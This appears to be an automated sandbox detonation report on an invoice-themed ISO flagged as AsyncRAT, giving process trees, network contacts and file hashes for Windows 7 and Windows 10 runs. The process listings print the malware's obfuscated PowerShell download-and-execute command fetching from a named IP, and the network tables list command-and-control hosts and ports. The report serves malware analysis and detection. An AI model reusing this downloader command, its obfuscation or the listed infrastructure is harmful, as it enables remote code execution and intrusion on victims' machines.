Analysis Overview
SHA256
4ac12696309f049c7339b6c01881c9e857155bbe8be92dc94accff2e612fea67
Threat Level: Known bad
The file 16112023_0136_15112023_Invoice#2356876431.iso was found to be: Known bad.
Malicious Activity Summary
AsyncRat
Async RAT payload
Blocklisted process makes network request
Checks computer location settings
Suspicious use of SetThreadContext
Drops file in System32 directory
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Suspicious use of SetWindowsHookEx
Uses Task Scheduler COM API
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2023-11-15 17:36
Signatures
Analysis: behavioral2
Detonation Overview
Submitted
2023-11-15 17:36
Reported
2023-11-15 17:38
Platform
win10v2004-20231023-en
Max time kernel
150s
Max time network
150s
Command Line
Signatures
AsyncRat
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WScript.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4748 set thread context of 2708 | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Invoice#57348024.wsf"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='/-/--/-/(''http://185.81.157.213:222/T2.jpg'')'.RePLACe('/-/--/-/','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\libraries.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\libraries.bat" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\libraries.ps1'"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Network
| Country | Destination | Domain | Proto |
| FR | 185.81.157.213:222 | 185.81.157.213 | tcp |
| US | 8.8.8.8:53 | 158.240.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 254.43.238.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 213.157.81.185.in-addr.arpa | udp |
| FR | 185.81.157.213:222 | 185.81.157.213 | tcp |
| US | 8.8.8.8:53 | 4.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 59.128.231.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 208.194.73.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 50.23.12.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 113.208.253.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 205.47.74.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 21.236.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | rxrr.duckdns.org | udp |
| FR | 185.81.157.213:6606 | rxrr.duckdns.org | tcp |
| FR | 185.81.157.213:8808 | rxrr.duckdns.org | tcp |
| FR | 185.81.157.213:7707 | tcp |
Files
memory/3380-12-0x00000203B9950000-0x00000203B9972000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4fzjptbf.x35.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/3380-13-0x00007FFD11B50000-0x00007FFD12611000-memory.dmp
memory/3380-14-0x000002039F7E0000-0x000002039F7F0000-memory.dmp
memory/3380-15-0x000002039F7E0000-0x000002039F7F0000-memory.dmp
memory/3380-21-0x00007FFD11B50000-0x00007FFD12611000-memory.dmp
C:\Users\Public\libraries.vbs
| MD5 | 882c260115cfacc236251d065cc23c4c |
| SHA1 | cee58dd936e493370224db57ca49c4d6c0cbfeff |
| SHA256 | 1d1595fdd363891dd2d9d081059b2dcbca1edc72c80b6c637436a9090ba2564a |
| SHA512 | d1279bcc0150ba96164445a98fdb5ff5ef6cde81460af71612ee0f0a7ac8155f9d3a73aa26ccb53a9da6493e078aef42e20ca26011f0f5aa855f5ced61236641 |
C:\Users\Public\libraries.bat
| MD5 | 440e905a6fcf6bcc0ffe763896e21044 |
| SHA1 | 89bf89ca871095dd7431147a4e0c993bfdba897e |
| SHA256 | aae3e34c1f6bf5eaf7c91afec528d24ac1b10272705be506653b29df17d6e834 |
| SHA512 | f324dbff528e9579f81af84c09ab45ef87cd8e516cb22a5f99e432d4d1ca528f3e5d8f7a1f479076a89c18cd44bbaa10df4f6a1fcdc3fe8937febadb892d89fd |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 2f57fde6b33e89a63cf0dfdd6e60a351 |
| SHA1 | 445bf1b07223a04f8a159581a3d37d630273010f |
| SHA256 | 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55 |
| SHA512 | 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220 |
memory/4748-25-0x00007FFD11110000-0x00007FFD11BD1000-memory.dmp
memory/4748-26-0x000001B7B2820000-0x000001B7B2830000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 026d93a446c50e4ae9aa47a15d0e923f |
| SHA1 | f8832c1a57c63bc1b085b10f39b69254e27b2fb8 |
| SHA256 | c06620ef42e09394b9fb9816937e9161cdb5740ad2c1a312f55483cbc2adf089 |
| SHA512 | 009c2cc902b3c560f77f882d4cd432e6893c51b8932889a4de8b119933e6bb6a9c91948dbb7ec392e120dfadca0211134625ffd6252b261fc84af8e17fbc2181 |
memory/4748-37-0x000001B7B2820000-0x000001B7B2830000-memory.dmp
C:\Users\Public\libraries.ps1
| MD5 | d253b8760d01942b6f0cf89884d8ce6f |
| SHA1 | f5c10af0337c62aaf7403fb88cfe5671ef317d56 |
| SHA256 | 1c2e5ff87905fd9a30d3498c37374bcb9944caaf229dd8d9d85ffa25d3ab3ae4 |
| SHA512 | 77049aaa93bcba3a101b0f93571b3b633c2b98876655e63ba427219eb20fe7256f500edad9b840494ccddb5ca55f9baa8eec36020f099887fec86e4feadb8782 |
memory/4748-39-0x000001B7CCD60000-0x000001B7CCD72000-memory.dmp
memory/2708-40-0x0000000000400000-0x0000000000416000-memory.dmp
memory/4748-42-0x00007FFD11110000-0x00007FFD11BD1000-memory.dmp
memory/2708-43-0x00000000749C0000-0x0000000075170000-memory.dmp
memory/2708-44-0x0000000005640000-0x0000000005650000-memory.dmp
memory/2708-45-0x0000000005F40000-0x00000000064E4000-memory.dmp
memory/2708-46-0x0000000005B70000-0x0000000005C02000-memory.dmp
memory/2708-47-0x0000000005D00000-0x0000000005D0A000-memory.dmp
memory/2708-48-0x00000000066D0000-0x000000000676C000-memory.dmp
memory/2708-49-0x0000000006630000-0x0000000006696000-memory.dmp
Analysis: behavioral1
Detonation Overview
Submitted
2023-11-15 17:36
Reported
2023-11-15 17:38
Platform
win7-20231020-en
Max time kernel
128s
Max time network
122s
Command Line
Signatures
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WScript.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Invoice#57348024.wsf"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='/-/--/-/(''http://185.81.157.213:222/T2.jpg'')'.RePLACe('/-/--/-/','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
C:\Windows\system32\taskeng.exe
taskeng.exe {621E7F4B-3D81-4514-BE1E-95609E1AD55A} S-1-5-21-1154728922-3261336865-3456416385-1000:TLIDUQCQ\Admin:Interactive:[1]
C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\libraries.vbs"
C:\Windows\System32\cmd.exe
cmd /c ""C:\Users\Public\libraries.bat" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\libraries.ps1'"
Network
| Country | Destination | Domain | Proto |
| FR | 185.81.157.213:222 | 185.81.157.213 | tcp |
| FR | 185.81.157.213:222 | 185.81.157.213 | tcp |
Files
memory/2372-7-0x000000001B280000-0x000000001B562000-memory.dmp
memory/2372-8-0x0000000002390000-0x0000000002398000-memory.dmp
memory/2372-9-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp
memory/2372-10-0x00000000022C0000-0x0000000002340000-memory.dmp
memory/2372-11-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp
memory/2372-12-0x00000000022C0000-0x0000000002340000-memory.dmp
memory/2372-13-0x00000000022C0000-0x0000000002340000-memory.dmp
memory/2372-16-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp
C:\Users\Public\libraries.vbs
| MD5 | 882c260115cfacc236251d065cc23c4c |
| SHA1 | cee58dd936e493370224db57ca49c4d6c0cbfeff |
| SHA256 | 1d1595fdd363891dd2d9d081059b2dcbca1edc72c80b6c637436a9090ba2564a |
| SHA512 | d1279bcc0150ba96164445a98fdb5ff5ef6cde81460af71612ee0f0a7ac8155f9d3a73aa26ccb53a9da6493e078aef42e20ca26011f0f5aa855f5ced61236641 |
C:\Users\Public\libraries.bat
| MD5 | 440e905a6fcf6bcc0ffe763896e21044 |
| SHA1 | 89bf89ca871095dd7431147a4e0c993bfdba897e |
| SHA256 | aae3e34c1f6bf5eaf7c91afec528d24ac1b10272705be506653b29df17d6e834 |
| SHA512 | f324dbff528e9579f81af84c09ab45ef87cd8e516cb22a5f99e432d4d1ca528f3e5d8f7a1f479076a89c18cd44bbaa10df4f6a1fcdc3fe8937febadb892d89fd |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
| MD5 | ae53949ecef5bb08672d3fc437236623 |
| SHA1 | 3bd18aa9c9f02a1a6be0c5ead2dbafb3cf5dcc00 |
| SHA256 | fe1285eeb97678918274be551bcf5ce715d1178e96efaf624c9c87f11c957201 |
| SHA512 | 743fc454bfca48e6582d1aafc0ba2209ddb4e3c5d50570068a84437eb74ed40324536fdb1b54b30bcfe4fb8d53212117e6afe1221ce0a6f6cb3f27c4a6da6915 |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0SEUEWKVE1EWJUV6V9MK.temp
| MD5 | b7d4b468b2ca222fb1effc4c9af39d4d |
| SHA1 | 48cc3f0f3d1d3f17291cddaa0ae9946bef7b07bc |
| SHA256 | ff58f3831330d8b034b04c539c4482c25d0364a64883c07e5c669facb9811434 |
| SHA512 | 328d15cb8edac3fbf01bbeb7734fa53c38e1317c57e1f501ffe533e719a42767e39d383c48a68f98bb3667f95e5d8159ec37402d4144d6ffa8b48a9ab06cfc2a |
memory/1044-24-0x000000001B420000-0x000000001B702000-memory.dmp
memory/1044-25-0x000007FEF4F40000-0x000007FEF58DD000-memory.dmp
memory/1044-26-0x0000000002A80000-0x0000000002B00000-memory.dmp
memory/1044-27-0x000007FEF4F40000-0x000007FEF58DD000-memory.dmp
memory/1044-28-0x0000000002A80000-0x0000000002B00000-memory.dmp
memory/1044-29-0x00000000024D0000-0x00000000024D8000-memory.dmp
memory/1044-30-0x0000000002A80000-0x0000000002B00000-memory.dmp
memory/1044-31-0x000007FEF4F40000-0x000007FEF58DD000-memory.dmp